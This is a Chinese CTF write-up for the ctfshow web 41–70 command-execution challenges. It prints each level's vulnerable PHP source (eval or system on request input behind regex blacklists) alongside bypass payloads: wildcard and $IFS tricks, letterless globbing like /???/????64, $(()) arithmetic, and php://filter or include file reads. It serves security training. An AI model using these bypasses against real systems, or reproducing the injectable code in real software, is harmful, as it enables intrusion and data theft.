ctfshow-web-41
无字母数字绕过正则表达式
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
这题思路就是通过特殊字符来构造字母,实现代码执行,这题没有过滤|就用这个来实现。脚本用的yv师傅的
ctfshow web入门 web41_yu22x的博客-CSDN博客
无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)_yu22x的博客-CSDN博客
CTFshow-web入门-命令执行 web41 bilibili
php运行后生成一个txt文档,包含所有可见字符的构造结果。接着powershell执行即可。
用法 python exp.py <url>
ctfshow-web-42、43
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
>/dev/null 2>&1默认情况是1,也就是等同于1>/dev/null 2>&1。意思就是把标准输出重定向到“黑洞”
这题可以使用命令分隔符来绕过.
payload:?c=tac flag.php||
相关链接: >/dev/null 2>&1 sunyong的博客-CSDN博客
ctfshow-web-44
这题过滤了flag,那么可以用占位符?或者*来绕过.
payload:?c=tac fla?.php||
ctfshow-web-45
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这题过滤了空格,用水平制表符%09可以代替空格 ,也可以用${IFS}或$IFS$9来代替,$IFS 表示的是 Linux 下的分隔符,$IFS$9 (1-9)都可以,它是Linux环境变量 $9 是环境变量的第9个值,为啥1-9都行 跟目标操作系统环境有关系.
payload:?c=tac%09f*||
ctfshow-web-46
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这里过滤了$,所以不能用${IFS}、$IFS$9了,虽然过滤了数字,但是%09还是能用的,因为url再进入服务器前会先解码,%09就成了水平制表符,不是数字.
payload:?c=tac%09fla?.php||
ctfshow-web-47-49
过滤的关键词变多了,但是还是可以用46的方法.
payload:?c=tac%09fla?.php||
ctfshow-web-50
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
直接用重定向 <> 或者 < 来取代空格,那不能用通配符,可以用两个单引号分割,执行的话会自动忽略,也可以用\分割.
payload:?c=tac<fla''g.php||
payload:?c=tac<fla\g.php||
ctfshow-web-51
文件读取命令
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这题把tac过滤了,那可以用其他命令读取,
读取文件内容的命令比较多: cat tac nl more less head tail od
payload:?c=nl<fla''g.php||
ctfshow-web-52
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了<>但是把$放出来了,可以把上一关的<换成${IFS}, 看到flag是假的,
用ls${IFS}/|| 查看根目录,发现flag,直接读取
payload:?c=nl${IFS}/fla?||
ctfshow-web-53
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
这题没有黑洞了,先是进行过滤,没有匹配到就输出c的值,再执行命令.
先ls查看,还是有flag.php,用nl${IFS}fla?.php拿到flag
ctfshow-web-54
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
这题把nl也给过滤了,而且没办法用''或\分割来读取文件.
可以使用mv把flag文件改名,再直接访问就行.
mv:用户可以使用mv命令来为文件或目录改名或将文件由一个目录移入另一个目录中
payload:?c=mv${IFS}fla?.php${IFS}a.txt
ctfshow-web-55
无字母rce
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
这题主要是过滤了所有小写字母,那就肯定要无字母rce
方法1,base64 :
因为没有过滤通配符,所以我们可以找带有数字的查看文件命令.
bin目录:
bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
base64这个命令就是将指定的文件的内容以base64加密的形式输出。 我们可以利用 base64 中的64 进行通配符匹配 即 /bin/base64 flag.php
payload:?c=/???/????64 ????.???
方法2,bzip2 :
bzip2是linux下面的压缩文件的命令.
/usr/bin目录:主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等。
先将flag.php文件进行压缩,然后再将其下载.
payload:?c=/???/???/????2 ????.???
再访问/flag.php.bz2下载.
方法3,运用.执行sh命令 :
无字母数字的命令执行(ctfshow web入门 55)_Firebasky的博客-CSDN博客
CTFshow-web入门-命令执行 web55 bilibili
Linux中source命令的用法_simon_dong618的博客
一些不包含数字和字母的webshell
ctfshow-web-56
多过滤了数字,就只能用第三种方法了.
ctfshow-web-57
$(())算数运算构造数字
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
这里题目告诉我们flag在36.php里,所以只要让c=36就行
$(())=0 $((~$(())))=-1
$(())代表算数运算:a=1,b=2 $a+$b就等同于$((1+2))
$(())=0 当$(())没有参数时,默认为0
$((~$(())))=-1 取反:b=~a,那么a+b=-1。
$((36)) -> $((~$((-37)))) ->
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
ctfshow-web-58-65
命令执行,用函数看flag
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
命令执行,突破禁用函数.
前几题能直接连蚁剑,看flag.php,后几题就看不了了.
那知道了flag在flag.php,可以highlight_file、show_source查看flag.
post:c=show_source("flag.php");
可以post: c=include('php://filter/read=convert.base64-encode/resource=flag.php');
也可以post: c=include($_GET[1]); 然后GET传入伪协议查看flag.
或者是post: c=include('flag.php');echo $flag;
ctfshow-web-66、67
scandir 扫描目录
这次再查看flag发现不在这,扫描根目录
c=print_r(scandir("/")); 或者c=var_dump(scandir("/"));
发现有flag.txt ,查看flag,c=highlight_file("/flag.txt");
scandir 扫描目录。
var_dump、print_r 进行输出。
highlight_file、show_source 查看文件。
ctfshow-web-68-70
打开直接没有源码,那前面输出查看方法都不行了.
用之前文件包含的方法,因为是txt文件所以他会直接输出,就不用伪协议了.
post:c=include('/flag.txt');